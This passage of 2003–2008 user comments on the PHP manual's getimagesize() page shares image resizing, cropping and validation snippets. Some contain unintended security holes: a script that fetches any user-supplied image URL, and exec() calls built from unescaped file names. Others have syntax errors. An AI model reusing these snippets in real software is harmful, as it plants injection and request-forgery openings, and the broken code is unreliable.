    return FALSE;
}
?>
anonymous 23-Nov-2008 08:30
Note that if you specify a remote file (via a URL) to check the size of, PHP will first download the remote file to your server.

If you're using this function to check the size of user provided image links, this could constitute a security risk.  A malicious user could potentially link to a very large image file and cause PHP to download it.  I do not know what, if any, file size limits are in place for the download.  But suppose the user provided a link to an image that was several gigabytes in size?

It would be nice if there were a way to limit the size of the download performed by this function.  Hopefully there is already a default with some sensible limits.
user at example dot net 23-Jul-2008 09:13
When validating images, allways check both, image type *AND* file extension!

Because most image types allow sections for comments or other irrelevant data. Those section can be used to infiltrate php code onto the server. If these files are stored as sent by the client, files with a ".php" extension can be executed and do tremendous harm.
mike 25-Apr-2008 04:26
Great script shmohel, a bit more minified...

<?php

function scale_image($p,$mw='',$mh='') { // path max_width max_height
    if(list($w,$h) = @getimagesize($p)) {
    foreach(array('w','h') as $v) { $m = "m{$v}";
        if(${$v} > ${$m} && ${$m}) { $o = ($v == 'w') ? 'h' : 'w';
        $r = ${$m} / ${$v}; ${$v} = ${$m}; ${$o} = ceil(${$o} * $r); } }
    return("<img src='{$p}' alt='image' width='{$w}' height='{$h}' />"); }
}

?>
devon at example dot com 07-Apr-2008 12:14
***********************************
Copies Source Image to Destination Image
***********************************
1. Copies source image
2. Calculates image dimensions
3. Resizes image (you specify max height/width)
4. Retains aspect ratio
5. Writes destination image
***********************************
This was created from a variety of code snippets
I've found here at php.net and other places on the web.
I take no credit for any of this code other than
putting the pieces together.

<?php

$source_pic = 'images/source.jpg';
$destination_pic = 'images/destination.jpg';
$max_width = 500;
$max_height = 500;

$src = imagecreatefromjpeg($source_pic);
list($width,$height)=getimagesize($source_pic);

$x_ratio = $max_width / $width;
$y_ratio = $max_height / $height;

if( ($width <= $max_width) && ($height <= $max_height) ){
    $tn_width = $width;
    $tn_height = $height;
    }elseif (($x_ratio * $height) < $max_height){
        $tn_height = ceil($x_ratio * $height);
        $tn_width = $max_width;
    }else{
        $tn_width = ceil($y_ratio * $width);
        $tn_height = $max_height;
}

$tmp=imagecreatetruecolor($tn_width,$tn_height);
imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

imagejpeg($tmp,$destination_pic,100);
imagedestroy($src);
imagedestroy($tmp);

?>
info at alex-lawrence dot com 02-Apr-2008 05:17
Could be useful (didn´t know where to post it):

function getImageErrors( $filename, $type = "", $minWidth = 0, $minHeight = 0, $maxWidth = 0, $maxHeight = 0, $maxFileSize = 0 )
{
    $errors = array();
    if ( file_exists( $filename ) )
    {
        $ending = substr( $filename, strpos( $filename, "." ) );
        if ( is_array( $type ) )
        {
            $isTypeOf = false;
            foreach( $type as $eachtype )
            {
                if ( $ending == $eachtype )
                {
                    $isTypeOf = true;
                }
            }
            if ( ! $isTypeOf )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        elseif ( $type != "" )
        {
            if ( $ending != $type )
            {
                $errors[ 'type' ] = $ending;
            }
        }
        $size = getimagesize( $filename );
        if ( $size[ 0 ] < $minWidth )
        {
            $errors[ 'minWidth' ] = $size[ 0 ];
        }
        if ( $size[ 1 ] < $minHeight )
        {
            $errors[ 'minHeight' ] = $size[ 1 ];
        }
        if ( ( $maxWidth > $minWidth ) && ( $size[ 0 ] > $maxWidth ) )
        {
            $errors[ 'maxWidth' ] = $size[ 0 ];
        }
        if ( ( $maxHeight > $minHeight ) && ( $size[ 1 ] > $maxHeight ) )
        {
            $errors[ 'maxHeight' ] = $size[ 1 ];
        }
        if ( ( $maxFileSize > 0 ) && ( filesize( $filename ) > $maxFileSize ) )
        {
            $errors[ 'maxFileSize' ] = filesize( $filename );
        }
    }
    else
    {
        $errors[ 'filename' ] = "not existing";
    }
    return ( count( $errors ) > 0 ? $errors : null );
}
cloned at clonedmadman dot com 25-Feb-2008 02:01
Well, I am making a script which will resize the image when uploaded, however, i am making a multi-uploader, so i came across with a problem: an efficient way of getting a pictures height and width and storing them in an array to resize later. This is what i came up with:

<?php
$links = array("test1.jpg", "test2.png");
$sizearray = array();
$count = count($links);
for($i = 0; $i < $count; $i++) {
    $size = getimagesize($links[$i]);
    list($width, $height) = $size;
    $sizearray[$links[$i]] = array("width" => $width, "height" => $height);
}
print_r($sizearray);
// which will print out: Array ( [test1.jpg] => Array ( [width] => 300 [height] => 400 ) [test2.png] => Array ( [width] => 680 [height] => 100 ) )
?>
shmohel at gmail dot com 12-Feb-2008 06:27
Rather than making a lengthy function that essentially runs twice (once as width, once as height) I came up with a helpful function that uses variable variables to set a maximum height/width. Hope someone finds this helpful.

function scaleimage($location, $maxw=NULL, $maxh=NULL){
    $img = @getimagesize($location);
    if($img){
        $w = $img[0];
        $h = $img[1];

        $dim = array('w','h');
        foreach($dim AS $val){
            $max = "max{$val}";
            if(${$val} > ${$max} && ${$max}){
                $alt = ($val == 'w') ? 'h' : 'w';
                $ratio = ${$alt} / ${$val};
                ${$val} = ${$max};
                ${$alt} = ${$val} * $ratio;
            }
        }

        return("<img src='{$location}' alt='image' width='{$w}' height='{$h}' />");
    }
}
Anonymous 27-Jan-2008 09:14
// A way to maintain Aspect Ratio
// Here using standard aspect ratio of 4:3 for landscape and 3:4 for portrait.
// example is 50% image resize

//NewWidth = GivenHeight * (OriginalWidth / OriginalHeight)
//NewHeight = GivenWidth * (OriginalHeight / OriginalWidth)

$defaultImageWidth = 160; //your gallery image width
$defaultImageHeight = 120; //your gallery image height

$imageWidth = 462; // use getimagesize() to get image width
$imageHeight = 432; // use getimagesize() to get image height

if($imageWidth > $imageHeight)
{
    // landscape image

    $newWidth = $defaultImageWidth;
    $newHeight = (int)($defaultImageWidth * $imageHeight / $imageWidth);

    if($newHeight > $defaultImageHeight)
    {
        $newHeight = $defaultImageHeight;
        $newWidth = (int)($defaultImageHeight * $imageWidth / $imageHeight);
    }

}
elseif ($imageHeight > $imageWidth)
{
    // portrait image

    $newHeight = $defaultImageHeight;
    $newWidth = (int)($defaultImageHeight * $imageWidth / $imageHeight);

    if($newWidth > $defaultImageWidth)
    {
        $newWidth = $defaultImageWidth;
        $newHeight = (int)($defaultImageWidth * $imageHeight / $imageWidth);
    }

}
else
{
    // square image

    $newWidth = $defaultImageWidth;
    $newHeight = $defaultImageHeight;

}

// here using Image Magick command line utility to resize image, OR you can use some other package.
//@exec("/usr/local/bin/convert $sourceImageFilePath - -resize $newWidthx$newHeight\! $destinationImageFilePath");

echo '<b>New Width:</b>'.$newWidth;
echo "<br>";
echo '<b>New Height:</b>'.$newHeight;
pfarthing at hotmail dot com 10-Jan-2008 03:35
Correction: to find $y2 it should be...

// set y side to a proportional size
$y2 = $m * $x_max; // not $x1

Thanks Norbert =)
info at personalmis dot com 07-Jan-2008 04:42
Seems the various ways people are trying to proportionaly scale an image, up or down, could be more straight forward if one remembers ones algebra.

The formula is, y = mx, where m is the slope of the line. This is the ratio of y:x or m = y/x.

So if...

// max values for x and y
$y_max = 600;
$x_max = 800;

// image size
$y1 = 2000;
$x1 = 3000;

// use width for scaling
if ($x1 > $x_max)
{
    // find slope
    $m = $y1/$x1;
    // set x side to max
    $x2 = $x_max;
    // set y side to a proportional size
    $y2 = $m * $x1;
}

The new image proportionally scaled will be x2 = 800, y2 = 533 (rounded).

To do it from the y side, simply reverse the x's and y's.
redcore at gmail dot com 09-Aug-2007 02:50
It's always good to check out an image's dimensions while attempting to upload to your server or database...especially if it's going to be displayed on a page that doesn't accomodate images beyond a particular size.

<?php

$tmpName = $_FILES['userfile']['tmp_name'];

list($width, $height, $type, $attr) = getimagesize($tmpName);

if($width>275 || $height>275)
{
die("exceeded image dimension limits.");
}

?>
laurens dot stoetzel at gmail dot com 03-Aug-2007 11:18
In reply to John (http://de.php.net/manual/de/function.getimagesize.php#61514):
list will only work with numeric arrays.

<?php
  //renumber
  $my_image = array_values(getimagesize('test.jpg'));
  //use list on new array
  list($width, $height, $type, $attr) = $my_image;

  //view new array
  print_r($my_image);

  //spit out content
  echo 'Attribute: '.$attr.'<br />';
  echo 'Width: '.$width.'<br />';
?>
phpnetUNDERSCOREspam at erif dot org 19-Jun-2007 12:26
an alternative to the three options below for finding the width and height of data you know to be an image:

$image = imagecreatefromstring($mydata);
$width = imagesx($image);
$height = imagesy($image);
boshka at gmail dot com 01-Feb-2007 05:40
I was trying to workaround with the problem of getting the mime type of the image from the raw data (the images data is stored in a database and the mime type is not known in advance). Since getimagesize requires a file name, there are some ways to deal with it:
1. call getimagesize with a URL which points to the image - this is too slow.
2. use PHP file i/o wrapper class.
3. use temporary files. The code for #3 could be as follows:

    function getimagesize_raw($data){
        $cwd = getcwd(); #get current working directory
        $tempfile = tempnam("$cwd/tmp", "temp_image_");#create tempfile and return the path/name (make sure you have created tmp directory under $cwd
        $temphandle = fopen($tempfile, "w");#open for writing
        fwrite($temphandle, $data); #write image to tempfile
        fclose($temphandle);
        $imagesize = getimagesize($tempfile); #get image params from the tempfile
        unlink($tempfile); // this removes the tempfile
        return $imagesize;
}
jens at kulmegies dot de 31-Oct-2006 06:30
In addition to thomporter's quick-reference of the output array, here's what PHP 4.4.0 does:

Array[0] = Width
Array[1] = Height
Array[2] = Image Type Flag
Array[3] = width="xxx" height="xxx"
Array[bits] = bits
Array[channels] = channels
Array[mime] = mime-type

There is no chance of getting the mime-type by accessing Array[6]...
egingell at sisna dot com 06-May-2006 03:14
<?

// These constants are used by image_info(), below.
define ('IMAGE_WIDTH', 'width');
define ('IMAGE_HEIGHT', 'height');
define ('IMAGE_TYPE', 'type');
define ('IMAGE_ATTR', 'attr');
define ('IMAGE_BITS', 'bits');
define ('IMAGE_CHANNELS', 'channels');
define ('IMAGE_MIME', 'mime');

/**
 * mixed image_info( file $file [, string $out] )
 *
 * Returns information about $file.
 *
 * If the second argument is supplied, a string representing that information will be returned.
 *
 * Valid values for the second argument are IMAGE_WIDTH, 'width', IMAGE_HEIGHT, 'height', IMAGE_TYPE, 'type',
 * IMAGE_ATTR, 'attr', IMAGE_BITS, 'bits', IMAGE_CHANNELS, 'channels', IMAGE_MIME, and 'mime'.
 *
 * If only the first argument is supplied an array containing all the information is returned,
 * which will look like the following:
 *
 *    [width] => int (width),
 *    [height] => int (height),
 *    [type] => string (type),
 *    [attr] => string (attributes formatted for IMG tags),
 *    [bits] => int (bits),
 *    [channels] => int (channels),
 *    [mime] => string (mime-type)
 *
 * Returns false if $file is not a file, no arguments are supplied, $file is not an image, or otherwise fails.
 *
 **/
function image_info($file = null, $out = null) {

    // If $file is not supplied or is not a file, warn the user and return false.
    if (is_null($file) || !is_file($file)) {
        echo '<p><b>Warning:</b> image_info() => first argument must be a file.</p>';
        return false;
    }

    // Defines the keys we want instead of 0, 1, 2, 3, 'bits', 'channels', and 'mime'.
    $redefine_keys = array(
        'width',
        'height',
        'type',
        'attr',
        'bits',
        'channels',
        'mime',
    );

    // If $out is supplied, but is not a valid key, nullify it.
    if (!is_null($out) && !in_array($out, $redefine_keys)) $out = null;

    // Assign usefull values for the third index.
    $types = array(
        1 => 'GIF',
        2 => 'JPG',
        3 => 'PNG',
        4 => 'SWF',
        5 => 'PSD',
        6 => 'BMP',
        7 => 'TIFF(intel byte order)',
        8 => 'TIFF(motorola byte order)',
        9 => 'JPC',
        10 => 'JP2',
        11 => 'JPX',
        12 => 'JB2',
        13 => 'SWC',
        14 => 'IFF',
        15 => 'WBMP',
        16 => 'XBM'
    );
    $temp = array();
    $data = array();

    // Get the image info using getimagesize().
    // If $temp fails to populate, warn the user and return false.
    if (!$temp = getimagesize($file)) {
        echo '<p><b>Warning:</b> image_info() => first argument must be an image.</p>';
        return false;
    }

    // Get the values returned by getimagesize()
    $temp = array_values($temp);

    // Make an array using values from $redefine_keys as keys and values from $temp as values.
    foreach ($temp AS $k => $v) {
        $data[$redefine_keys[$k]] = $v;
    }

    // Make 'type' usefull.
    $data['type'] = $types[$data['type']];

    // Return the desired information.
    return !is_null($out) ? $data[$out] : $data;
}

?>
Russell Chappell 31-Mar-2006 07:01
For those of you who are confused about what the mime type IE displays image/pjpeg and other browsers image/jpeg and are building in checks for all of your scripts to tell the difference i would suggest using the getimagesize() mime results which will always be image/jpeg regardless what browser you use.

<?php
$info = getimagesize("image.jpg");
foreach($info as $key => $value) {
    echo $key . ' - ' . $value . '<br />';
}
?>

Where it says mime always is image/jpeg
John 05-Feb-2006 11:57
I was coming here to see if there was a simple way to get the height, width, and mime type of an image I have uploaded and while I thought the following code would work because it is printed above
<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
?>

it didnt when I tried to echo out $type; so heres my fix, there may be a better way but it works for me!

<?php
$blah = getimagesize("folder/file.gif");
$type = $blah['mime'];
$width = $blah[0];
$height = $blah[1];
?>

and then you can just echo out one of the variables about to get whichever you would desire.
gormozus at yahoo dot com 15-Nov-2005 10:56
getimagesize() seems to cache the results, so if you resize an image (using the methods described earlier) and you want to re-read its width and height, use imagesx() and imagesy() to get the actual information.
webmaster at WWW.ELLESSEWEB.NET 26-Oct-2005 05:10
This is a useful function to display a thumbnail of a whatever image.
This piece of code has been lightly modified from an example found on <b>NYPHP.ORG</B>.
This function can build a thumbnail of any size you want and display it on your browser!
Hope it can be useful for you guys!

<?php

function makeThumbnail($o_file, $t_ht = 100) {
    $image_info = getImageSize($o_file) ; // see EXIF for faster way

    switch ($image_info['mime']) {
        case 'image/gif':
            if (imagetypes() & IMG_GIF)  { // not the same as IMAGETYPE
                $o_im = imageCreateFromGIF($o_file) ;
            } else {
                $ermsg = 'GIF images are not supported<br />';
            }
            break;
        case 'image/jpeg':
            if (imagetypes() & IMG_JPG)  {
                $o_im = imageCreateFromJPEG($o_file) ;
            } else {
                $ermsg = 'JPEG images are not supported<br />';
            }
            break;
        case 'image/png':
            if (imagetypes() & IMG_PNG)  {
                $o_im = imageCreateFromPNG($o_file) ;
            } else {
                $ermsg = 'PNG images are not supported<br />';
            }
            break;
        case 'image/wbmp':
            if (imagetypes() & IMG_WBMP)  {
                $o_im = imageCreateFromWBMP($o_file) ;
            } else {
                $ermsg = 'WBMP images are not supported<br />';
            }
            break;
        default:
            $ermsg = $image_info['mime'].' images are not supported<br />';
            break;
    }

    if (!isset($ermsg)) {
        $o_wd = imagesx($o_im) ;
        $o_ht = imagesy($o_im) ;
        // thumbnail width = target * original width / original height
        $t_wd = round($o_wd * $t_ht / $o_ht) ;

        $t_im = imageCreateTrueColor($t_wd,$t_ht);

        imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);

        imageJPEG($t_im);

        imageDestroy($o_im);
        imageDestroy($t_im);
    }
    return isset($ermsg)?$ermsg:NULL;
}
?>

Here the code to call the function:

<?

header("Content-type: image/jpeg");
makeThumbnail("http://it2.php.net/images/php.gif", 300);

?>
Mark at Mild Peril 13-Oct-2005 04:54
To solve the problem with using absolute site filepaths, as experienced by Brian:

$size = getimagesize($_SERVER["DOCUMENT_ROOT"].$file);

(where $file is something like "/rootdir/graphics/photo.jpg")
paul at goldenbakery dot nl 05-Aug-2005 02:02
Note that the canvas of a Flash movie can not be empty for getimagesize() to read the dimensions of an SWF. Not sure if this is a bug, a feature or just a limitation of the SWF format.

Flash version does not seem to matter. Also tested with Flash 8 beta.
Sean 30-May-2005 10:23
I needed a quick way to make a group of images uniformly sized, but only on one page.  So creating a new set of thumbnails was overdoing the whole thing.  I made up this script that seems to do the trick.

<?php
     $image =  "absolute/path/to/image/image.jpg";
     $size = getimagesize("$image");
       $height = $size[1];
       $width = $size[0];
     if ($height > 150)
          {
               $height = 150;
               $percent = ($size[1] / $height);
               $width = ($size[0] / $percent);
          }
     else if ($width > 150)
          {
               $width = 150;
               $percent = ($size[0] / $width);
               $height = ($size[1] / $percent);
          }
     echo "<img src\"image/path/image.jpg\" height=\"$height\" width=\"$width\" />";
?>
irregular at inbox dot ru 30-Apr-2005 04:24
I've wrote this piece of useful code.
May be it will be useful for you.
But i got a problem - if source image is in the area with need of authorization then the functions that read some files from that place (i.e. getimagesize, imagejpeg) does not work!
How to solve it?

<?php
//i't a stand-alone file named resize.php
//the feature is caching
// /image/thumbcache folder is used with file name forming by md5($img.$calc_width.$calc_height);
//it gets such parameters:
//img - image address (URL)
//w - optional width
//h - optional height
//if you set either w or h, then the image is resized proportionaly, according to the source
//if you set neither w nor h then the script just output file
//if you set both w or h then the image will be resized exactly how you want

    $server_root = 'http://'.$_SERVER['SERVER_NAME'].'/';

    if (isset($_GET['img']) && ((isset($_GET['w']) || isset($_GET['h'])))
    {
        $img = substr($_GET['img'],0,100);
        if (isset($_GET['w'])) $w = substr($_GET['w'],0,10);
        if (isset($_GET['h'])) $h = substr($_GET['h'],0,10);

        error_reporting(0);

        //check cache
        $hash = md5($img.$w.$h);
        $pos = strrpos($img,".");
        $ext = substr($img,$pos+1,strlen($img)-$pos);
        $fname = $hash.'.'.$ext;
        $cachedim = @imagecreatefromjpeg($serverroot.'images/thumbcache/'.$fname);
        if ($cachedim) //just show cached thumbnail
        {
            header("Content-type: image/jpeg");
            imagejpeg($cachedim,'',100);
        }
        else //create and cache thumbnail and show it 'cause it's not in cache
        {
            list($width, $height, $type, $attr) = getimagesize($img);
            if ($type==2) //jpeg
            {
                $im = @imagecreatefromjpeg($img); /* Attempt to open */
                if (!$im) { /* See if it failed */
            $im  = imagecreate(150, 30); /* Create a blank image */
                    $bgc = imagecolorallocate($im, 255, 255, 255);
                    $tc  = imagecolorallocate($im, 0, 0, 0);
                    imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
                    imagestring($im, 1, 5, 5, "Error loading image!", $tc);
                }
                else
                {
                    //constrain proportions if needed
                    if (isset($w)){ if ($w==0) $w = $width; }
                    else $w = $width*$h/$height;

                    if (isset($h)){ if ($h==0) $h = $height; }
                    else $h = $height*$w/$width;

                    $dstw=isset($w)?$w:$width;
                    $dsth=isset($h)?$h:$height;
                    $tim = imagecreatetruecolor($dstw,$dsth);

            imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);

                    header("Content-type: image/jpeg");
                    imagejpeg($tim,'./images/thumbcache/'.$fname,100);
                    imagejpeg($tim,'',100);
                }
            }
        }
        error_reporting(E_ALL);
    }

?>
ajreading at classixshop dot com 21-Apr-2005 01:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
    Header("Content-type: image/jpeg");

    $size = GetImageSize($upfile); // Read the size
          $width = $size[0];
          $height = $size[1];

          // Proportionally resize the image to the
          // max sizes specified above

          $x_ratio = $max_width / $width;
          $y_ratio = $max_height / $height;

          if( ($width <= $max_width) && ($height <= $max_height) )
          {
               $tn_width = $width;
               $tn_height = $height;
          }
          elseif (($x_ratio * $height) < $max_height)
          {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
          }
          else
          {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
          }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com 30-Mar-2005 06:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW   = 200;
$cropH   = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net 15-Mar-2005 09:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com 12-Feb-2005 08:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
sixzero4 at hotmail dot com 29-Nov-2004 08:33
This is just to add to the comment by robertks at hotmail dot com on
05-Mar-2003 12:12 regarding trying to derive the dimensions of a video file. The package referenced (http://www.getid3.org/) had been updated, and below is a script I use to get the size. You can get many other attributes of media files as well.

<?php
// include getID3() library (can be in a different directory if full path is specified)
 include_once('getid3.php');

// Initialize getID3 engine
$getID3 = new getID3;

 // File to get info from
 $file_location = './your/path/to/file.mov';

// Get information from the file
 $fileinfo = $getID3->analyze($file_location);
 getid3_lib::CopyTagsToComments($fileinfo);

 // Output results
if (!empty($fileinfo['video']['resolution_x'])) { echo '<p> video width: '.$fileinfo['video']['resolution_x'].'</p>'; }
if (!empty($fileinfo['video']['resolution_y'])) { echo '<p> video height: '.$fileinfo['video']['resolution_y'].'</p>'; }
?>

Hope that helps others looking for a function similar to getimagesize() for a video or media file.
Joshua 16-Aug-2004 12:26
If your image name has spaces in it you will need to use rawurlencode() and NOT urlencode() as this function (at least in 4.3.4) does not accept spaces as + signs.
cstdenis at hotmail dot com 11-Aug-2004 11:42
This will not work for swf files unless zlib is compiled into php statically (not as a shared module). Bug #29611

As of PHP 5.0.0 it will just return false, but that should change to a notice by the next release.
ryan at vitalmodels dot com 05-Jun-2004 01:06
--- Editor's Note:
It's easier to call on urlencode() or rawurlencode() to "fix" urls containing spaces and other characters that normally not well-liked.
---

You may have noticed that images with spaces WONT work with getimagesize - some of us have massive amounts of pictures, or don't feel like rewriting file names on users uploaded pictures- so here is a super fast fix that will replace the spaces once the image is called and will work with getimagesize flawlessly-

$image_new = "/pictures/$pic[picture]";  //PICTURE URL
$image_new = str_replace(' ','%20',$image_new); //REPLACE THE SPACES

Now you just call $image_new using getimagesize and you wont' have anymore problems.

On my site I take uploaded pictures from users - then resize them if they are over a certain width, here is the script i use if anyone would like to do this-

$image_new = "/pictures/$pic[picture]"; //url of picture
$image_new = str_replace(' ','%20',$image_new); //take url and replace spaces
$max_width= "480";  //maximum width allowed for pictures
$resize_width= "480";  //same as max width
$size = getimagesize("$image_new");    //get the actual size of the picture
$width= $size[0];           // get width of picture
$height= $size[1];   // get height of picture
if ($width>$max_width){
            $new_width=$resize_width;  // Resize Image If over max width
}else {
            $new_width=$width;       // Keep original size from array because smaller than max

}

echo "<IMG src=\"$image_new\" border=1  width=$new_width>"   //print image with new width

Hope this helps anyone who wants some simple uses for getimagesize- check out my website to see it in action- vitalmodels.com
diablx at hotmail dot com 25-May-2004 02:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
    // Some configuration variables !
    $maxWidth = 90;
    $maxHeight = 90;
    $maxCols = 8;
    $webDir = "https://localhost/images/";
    $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

    $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

            $xRatio = $maxWidth / $width;
            $yRatio = $maxHeight / $height;

            if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
              $newWidth = $width;
              $newHeight = $height;
            }
            else if (($xRatio * $height) < $maxHeight) {
              $newHeight = ceil($xRatio * $height);
              $newWidth = $maxWidth;
            }
            else {
              $newWidth = ceil($yRatio * $width);
              $newHeight = $maxHeight;
            }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>
MagicalTux at FF.st 31-Mar-2004 03:35
simm posted something interesting about imagick, but usually calling an external binary is not the best way.

You can use the Imagick PHP module . With it, you do not even need to get the image size to generate thubnails...

Here's the code I used :
<?php
    $imh=imagick_readimage($image);
    imagick_scale($imh,GALLERY_THUMBNAILWIDTH,GALLERY_THUMBNAILHEIGHT);
    imagick_writeimage($imh,$image_thumb);
?>

(I noticed that some hosting companies are now providing the imagick module by default. Using it allows you to accept any type of image from your visitors. Maybe it will be documented on the official PHP website one day or another? )
MarioPro 10-Mar-2004 06:13
The Problem:
I've just noticed that after upgrading to the PHP 4.3.4 version, the old GetImageSize() should get your attention on pages coded before this new version.

The solutions:
So, if you used GetImageSize(), you should now be using getimagesize() - attention to all lower caracters.

Also, you shou certify that the image realy exists, otherwhise you'll get the following error: getimagesize(): Read error!
This means that there is no image to "fill" the string and thus you're calling, for example: "images/news/" instead of calling "images/news/03102004a.jpg"

One should now verify if there is an image to be called (example):
if($photo1!=""){
$size1=getimagesize("images/news/".$photo_news_1"]);
$width1=$size1[0];
$height1=$size[1];
}
Here, if $photo_news_1 is set and exists it will be displayed, otherwhise it will be skiped and no ERROR message will be displayed. In the PHP 4.3.3 and earlier versions, this was not necessary but it is now!  ;)
yohami dot com - zerodj at hotmail dot com 14-Jan-2004 07:11
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

    // GET IMG
    $img = imagecreatefromjpeg($picture);
    $width= imagesx($img);
    $height= imagesy($img);
    // CROP WIDTH
    if($width!=$fixedwidth){
        $ratio =$fixedwidth/$width;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
        // REFRESH
        $img = imagecreatefromjpeg($picture);
        $width= imagesx($img);
        $height= imagesy($img);
    }
    // CROP HEIGHT
    if($height!=$fixedheight){
        $ratio =$fixedheight/$height;
        $NewHeight=round($height*$ratio);
        $NewWidth=round($width*$ratio);
        exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
        exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
    }
    //
    ImageDestroy($img);
}

?>

yeah!
php (at) thejpster org uk 01-Dec-2003 06:39
If you want to resize an image proportionally to fit within a given area, like I did, the following code might help you out.

If either hscale or wscale are greater than 1 then that dimension is too big. If you then scale your image by the larger of the two values (hscale, wscale) then you guarantee that both dimensions will now fit in your specified area :)

function makeImg($num) {
    global $hmax, $wmax; // max width and height
    $image = "somefile.jpg";
    list($width, $height, $type, $attr) = getimagesize($image);
    $hscale = $height / $hmax;
    $wscale = $width / $wmax;
    if (($hscale > 1) || ($wscale > 1)) {
        $scale = ($hscale > $wscale)?$hscale:$wscale;
    } else {
        $scale = 1;
    }
    $newwidth = floor($width / $scale);
    $newheight= floor($height / $scale);

    return "<img width='$newwidth' height='$newheight' src='$image'><br>$image: $newwidth x $newheight : $width x $height";
}
djwishbone at hotmail dot com 18-Nov-2003 06:31
Using remote files with getimagesize($URL) never worked for me.  Except when I would grab files from the same server.  However, I developed some code with the help from the people here that does work.  If you are having problems give this function a shot:

function getimagesize_remote($image_url) {
    $handle = fopen ($image_url, "rb");
    $contents = "";
    if ($handle) {
    do {
        $count += 1;
        $data = fread($handle, 8192);
        if (strlen($data) == 0) {
            break;
       }
    $contents .= $data;
    } while(true);
    } else { return false; }
    fclose ($handle);

    $im = ImageCreateFromString($contents);
    if (!$im) { return false; }
    $gis[0] = ImageSX($im);
    $gis[1] = ImageSY($im);
// array member 3 is used below to keep with current getimagesize standards
    $gis[3] = "width={$gis[0]} height={$gis[1]}";
    ImageDestroy($im);
    return $gis;
}

goodluck
janoma_cl 09-Oct-2003 03:19
If you want to show thumbnails keeping the original proportions, with defined maximum width and height, you can use this function. This is useful when showing tables of user-uploaded images, that not necessarily are same-sized. However, for big images (like wallpapers), a better option is to create separated thumbnails with a image-editing software.

If the image is smaller or equal than the defined maximums, then it's showed without resizing. If not, creates a link to a pop-up that shows the full-size image.

<?php
function show_thumbnail($file)
{
    $max = 200 // Max. thumbnail width and height

    $size = getimagesize($file);

    if ( $size[0] <= $max && $size[1] <= $max )
    {
        $ret = '<img src="'.$file.'" '.$size[3].' border="0">';
    }
    else
    {
        $k = ( $size[0] >= $size[1] ) ? $size[0] / $max : $size[1] / $max;
        $ret = '<a href="javascript:;" onClick="window.open(\'image.php?img=';
        $ret .= $file.'\',\'\',\'width='.$size[0];
